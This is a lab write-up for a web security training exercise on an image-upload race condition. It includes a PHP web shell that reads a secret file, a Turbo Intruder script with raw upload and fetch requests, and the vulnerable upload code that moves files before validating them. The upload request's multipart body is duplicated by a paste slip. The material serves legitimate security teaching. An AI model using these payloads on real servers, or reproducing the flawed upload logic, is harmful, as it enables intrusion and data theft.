Web shell upload via race condition

Description

This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.

Reproduction and proof of concept

  1. Log in and upload an image as your avatar, then go back to your account page.

  2. In Burp, go to Proxy -> HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-IMAGE>.

  3. On your system, create a file called exploit.php containing a script for fetching the contents of Carlos’s secret. For example:

<?php echo file_get_contents('/home/carlos/secret'); ?>
  1. Log in and attempt to upload the script as your avatar. Observe that the server appears to successfully prevent you from uploading files that aren’t images, even if you try using techniques from previous labs.

  2. If you haven’t already, add the Turbo Intruder extension to Burp from the BApp store. If you have it, load it.

File upload

  1. Right-click on the POST /my-account/avatar request that was used to submit the file upload and select Extensions -> Turbo Intruder -> Send to turbo intruder. The Turbo Intruder window opens.

  2. Copy and paste the following script template into Turbo Intruder’s Python editor:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''
POST /my-account/avatar HTTP/1.1
Host: 0ac700210460078cc0ad547c00b600c7.web-security-academy.net
Cookie: session=qHFu2BuxBt2u0KX9crXaq0ULzU3Ao0nP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20457027561279133819339941172
Content-Length: 538
Origin: https://0ac700210460078cc0ad547c00b600c7.web-security-academy.net
Referer: https://0ac700210460078cc0ad547c00b600c7.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------20457027561279133819339941172
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>

-----------------------------20457027561279133819339941172
Content-Disposition: form-data; name="user"

wiener
-----------------------------20457027561279133819339941172
Content-Disposition: form-data; name="csrf"

p6xSMEVwv95TOguixPFQoQ0DijZwIyod
-----------------------------20457027561279133819339941172--

-----------------------------215000247714924885564136028193
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>

-----------------------------215000247714924885564136028193
Content-Disposition: form-data; name="user"

wiener
-----------------------------215000247714924885564136028193
Content-Disposition: form-data; name="csrf"

p6xSMEVwv95TOguixPFQoQ0DijZwIyod
-----------------------------215000247714924885564136028193--
'''

    request2 = '''
GET /files/avatars/exploit.php HTTP/1.1
Host: 0ac700210460078cc0ad547c00b600c7.web-security-academy.net
Cookie: session=qHFu2BuxBt2u0KX9crXaq0ULzU3Ao0nP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0ac700210460078cc0ad547c00b600c7.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
  1. In the script, replace request1 is the entire POST /my-account/avatar request containing the exploit.php file. You can copy and paste this from the top of the Turbo Intruder window.

  2. request2 is a GET request for fetching your uploaded PHP file. The simplest way to do this is to copy the GET /files/avatars/<YOUR-IMAGE> request from your proxy history, then change the filename in the path to exploit.php. And add an empty line before the closing ''' to get non-null responses for the GET.

  3. At the bottom of the Turbo Intruder window, click Attack. This script will submit a single POST request to upload your exploit.php file, instantly followed by 5 GET requests to /files/avatars/exploit.php.

File upload

  1. In the results list, notice that some GET requests received a 200 response containing Carlos’s secret. These requests hit the server after the PHP file was uploaded, but before it failed validation and was deleted.

  2. Submit the secret to solve the lab.

Exploitability

An attacker will need to log in; upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret; and then enter this secret using the button provided in the lab banner.

The vulnerable code that introduces this race condition:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?> 

The uploaded file is moved to an accessible folder, where it is checked for viruses. Malicious files are only removed once the virus check is complete. This means it is possible to execute the file in the small time-window before it is removed.

Due to the generous time window for this race condition, it is possible to solve this lab by manually sending two requests in quick succession using Burp Repeater. The solution described here teaches a practical approach for exploiting similar vulnerabilities in the wild, where the window may only be a few milliseconds.